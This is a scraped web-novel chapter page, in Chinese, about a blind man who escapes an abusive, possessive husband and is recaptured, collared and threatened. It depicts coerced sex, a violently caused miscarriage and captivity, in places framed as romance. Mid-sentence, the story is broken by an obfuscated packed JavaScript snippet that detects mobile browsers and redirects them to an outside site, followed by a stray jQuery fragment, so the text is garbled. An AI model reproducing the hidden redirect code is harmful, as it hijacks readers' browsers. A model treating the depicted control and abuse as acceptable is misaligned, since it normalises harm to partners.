默认冷灰
24号文字
方正启体

1. 第 一章

作者:除夕子时雪本书字数:K更新时间:
    天色在顷刻间彻底地沉了下来,乌云像是被打翻的墨汁,吞噬了整片天空,狂风裹着尖锐的呼啸。


    在这个地方,连树木都是扭曲的。这里的树木长得很奇怪,很高,一不小心就容易从缝隙中滚落下去。


    天色越来越阴沉,起初是稀疏的噼啪声,转眼汇成洪流,飞溅起半米高的水花。


    “轰——”


    闪电照亮了在黑夜中奔跑的那道身影。


    “逃……”


    “必须要逃——”


    某处的枯枝猝然断裂的声响,似乎都可以惊动这道身影。


    惊雷下的脸颊漂亮得惊人,脸上布满了在树枝间穿梭的血痕。明明是深秋的季节,他身上却只有一身不合身的单薄白衬衫,整个人被雨水浸湿,露出若隐若现的腰线。


    宽大的衣衫下,更显得那道身影瘦削。


    可前面的树枝明明就在他的眼前,他却像是看不见似的,整个人朝着那个方向跑过去。


    “呃——”


    余赋秋被撞倒,一路滚落到山下。他不顾身上的剧痛,依旧爬起来疯狂地往前走。


    因为有人在后面追他——


    雷光再一次响彻天际,余赋秋的身子瑟缩了下,抿着唇摸黑往前奔跑。


    银光照亮了那双漂亮却涣散没有聚焦的眼眸——


    他是个瞎子。


    再一次跌倒后,余赋秋清晰地听到了小腿传来骨裂的声音,钻心的疼痛顺着脊背往上攀沿。他蜷缩起来,像要把自己掩埋在泥土之下。


    喉咙传来的干涩和涌上来的腥甜,都在告诉他,他跑了很久很久。


    一滴水都没喝,一粒米都没有进食。


    余赋秋不管不顾,顺着雨水的声音,想要瞪大眼睛去看清周围,但很可惜——


    他的眼睛,是彻底的瞎了。


    余赋秋埋头,伸出舌尖舔舐着泥泞浑浊的雨水,如同濒死的动物般跪趴下去。


    或许这积水里面有自己的血迹,也有动物的尸体。


    可是余赋秋管不了这么多了。


    冰冷、带着土腥的味道触碰到舌尖,他却仿佛尝到了甘霖一般,急切地、贪婪地舔舐起来。泥水顺着他的下巴滑落,染湿了单薄的衣衫。


    “呕——”


    一股猩红的味道猛然涌了上来,他不得不趴在地上,将咽下的泥水和酸水一起吐了出来。身体因为剧烈的咳嗽和干呕而蜷缩成一团,不住地颤抖。


    好冷……


    长而卷翘的睫毛微微颤抖着,他脸色失去了血色,不得不抱紧自己。


    环抱着自己扭曲、已经骨折的小腿。


    他瞪大那双失神的眼眸,视线里一片黑暗。


    他就不应该去招惹长庭知。


    那个根本不是他的爱人。


    为什么他努力了这么久,最后他的爱人却完完全全消散在天地之间?


    不过应该没关系,余赋秋哆嗦着想,他已经身败名裂了,连春春也叫那人新妈咪了。


    他已经不重要了,他跑了也不会有人在意的。


    那人是长庭知命中的主角受,长庭知也知道了他只是个拙劣的骗子——捡到他,是因为早就知道他是主角攻,会给自己带来很好的生活,可以从长庭知的身上捞取不少好处。


    不然,他一个黑户,连自己都养不活,为什么会去捡一个七八岁的小孩回家呢?


    余赋秋曾无数次地解释过,那是爱。


    他爱长庭知。


    可是结局呢?


    他看见长庭知那双眼睛里的讥讽。


    他说,余赋秋骗了他这么久,该拿的都拿了,还要用这种廉价的感情,演着自我感动的戏码多久。


    是啊。


    长庭知是本书的主角攻,他生来就该被主角受拯救的,是被他抢走了。他贪心地想要取代主角受,成为长庭知的爱人。


    这个美梦堪堪维持了十五年而已。


    他还有什么不满足呢?


    只是他想再见一次他的爱人……


    冰冷的雨水似乎暂时停滞了,但比雨水更冷的寒意,从记忆深处汹涌而来。


    余赋秋的手小心翼翼地、极其缓慢地抚摸上自己的小腹。


    指尖隔着湿透的衣料,触碰到那道早已愈合、却依旧清晰存在的、微微凸起的疤痕。


    他被那人推下了楼梯。


    刺目的、蜿蜒的鲜红,正不受控制地涌出,迅速染红了浅色的地毯。


    那一瞬间,他才后知后觉地意识到——原来,这里曾经悄无声息地孕育着一个小小的、脆弱的生命。


    而他甚至……还没来得及感知到他的存在。


    余赋秋求救地望着长庭知。


    他张了张嘴,想求救,想告诉他这里有他们的孩子,想让他抓住那个凶手……


    可是,他看到了什么?


    长庭知用手安抚着那人,仿佛那人受到了惊吓那般。


    他只是冷淡地扫了眼倒在血泊中的余赋秋。


    他甚至听见长庭知用温柔的语气对那人说:“没事了,有我在。”


    而后,才看着他,眼神冰冷,薄唇轻启。


    “这是你要赎的罪。”


    是,他贪心了。


    所以他放弃了,想要走。


    可是为什么……


    不能放过他?


    余赋秋瑟缩着,身上布满了青紫的吻痕,连脖子都带着皮质的绳子,手腕和脚腕处被磨出了深深的红痕。


    他好不容易逃跑了,绝不能再回到那间地狱般的别墅里去。


    但他又是胆小的,他怕长庭知。


    他怕这次逃跑失败,长庭知会变本加厉地对他。


    他不想再回到那间噩梦般的房子。


    雨停了——?


    余赋秋抬起涣散的眸子,好像没有雨声了。


    他咽了口水,拖着骨折的腿,绕过树藤,慢慢地往前走着。


    忽然这时候——


    周围寂静下来。


    余赋秋丧失了视力,听力却分外的灵敏。


    他听见了不远处的爆炸声,还有……狗吠的声音。


    他会暴露!


    余赋秋不敢耽误,随手找了一根树枝,奋力地朝前跑。


    那个人告诉他,一直往西走,会有一条河流,只要他顺着河流走,他就可以躲过长庭知,就能……逃离长庭知的掌控!


    他咬紧牙关,用那根树枝支撑着身体,跌跌撞撞地、奋力地朝着认定的方向跑去。


    雨水模糊了感知,风声掩盖了听觉,身后的犬吠似乎更清晰了些,夹杂着隐约的人声呼唤,如同催命的鼓点,敲打在余赋秋紧绷到极致的神经上。


    快一点,再快一点——!


    前方,透过雨幕和树木的间隙,他隐约听到了一道翻涌的水声。


    是河!真的是河!


    一股微弱的希望猛地窜起,他几乎要哭出来,用尽最后的力气,朝着那道水声踉跄扑去。


    然而,就在他的指尖几乎要触碰到河边潮湿的泥土,冰冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124666|196008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的河水气息扑面而来的瞬间——


    斜刺里,一道黑影如同鬼魅般迅捷地掠出!


    一条狗猛扑在余赋秋的身上,喷洒的热气吐露在他白皙的肌肤上。


    泥水飞溅。


    一只铁钳般的大手,精准而冷酷地,一把攥住了他试图支撑身体的、握着树枝的手腕!


    力道之大,瞬间卸掉了他所有的力气,树枝脱手飞落。


    另一只手臂,则如同冰冷的铁索,从身后猛地环住他的腰。


    他的脸被迫抬了起来,即使看不见,他也可以感受到那道冰冷又扭曲的视线。


    长庭知勾住他脖子上的绳索,看着那张已经青紫的脸。


    怎么办……


    怎么办……


    我被抓住了……


    余赋秋的手撑在地上,因为用力,指节泛着惨白。


    忽然,他听见长庭知发出了一声笑,温柔地抚摸着他的头:“宝宝,你还是那么蠢。”


    他怜悯地望着余赋秋,“你身体里早就被我安装了芯片,你怎么会觉得你跑得掉呢?”


    确实蠢,竟然以为自己可以跑得掉。


    长庭知的怀抱是温暖的,可是余赋秋却无端地发冷,全身的血液在这一刻骤然凝固起来。


    长庭知摸着他的肚子,“不就是没了一个孩子么,你要是想,想生几个生几个。”


    他的指尖抚摸着那双失神的眼眸,脸上缓缓绽开一个扭曲的笑容:“你说你,瞎了又瘸了,还能跑哪去呢?”


    “只能待在我的身边了,只能看见我了,不好吗?”


    “我原谅你骗我,你看我多大度。”


    长庭知亲了亲他的唇角,“真可怜啊宝宝。”


    “你才离开了我多久,已经把自己搞成这个样子了。”


    他的手掐在余赋秋的脖子上,眼神冰冷,咬牙切齿:“我真恨不得杀了你,把你做成标本,安安静静地躺在我怀里。”


    “你都成这样了,还跑出去?!你非得出去勾引其他野男人?!”


    “怎么,左成双、胡道元、虞琢,亢歌……”长庭知念出了几个名字,他的指尖碰到余赋秋的肚脐上方,“他们都碰过你?知道你能吃这么深?”


    “还是说你就那么饥渴,这么多人才能满足你?”


    “还是你就是犯贱啊?要自己赶着送上门?”


    “我对你不好吗,你想要的我都给了,你还有什么不满足?!”


    “……”


    余赋秋的腿疼得厉害,他忽然觉得好疲倦。


    “放过我吧,长庭知……”


    “放过你?”长庭知似乎听到了什么笑话,“我已经查到是谁告诉你消息,把你放出去的,你说,我该怎么去惩罚那个人?”


    余赋秋想到长庭知的手段,他猛然睁大眼。


    “他只是无辜的!放过他!为什么你要牵扯无辜的人进来?”


    “敢让你离开我的,死不足惜。”


    长庭知淡淡道。


    “你疯了……”


    余赋秋嘴唇蠕动着,脸色灰白。


    “呵。”长庭知抬手,将冰冷的锁链重新锁在余赋秋的脖子上,狠狠地将他拉到了自己的身边,“我早就疯了。”


    余赋秋心如死灰,在他被捉住的那一刻,他就知道,他再也出不去了。


    要是那时候发现了长庭知的异样,早点离婚的话……


    剧情是不是早就会被改变了?


    还会造成他们如今这般折磨的结局吗……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)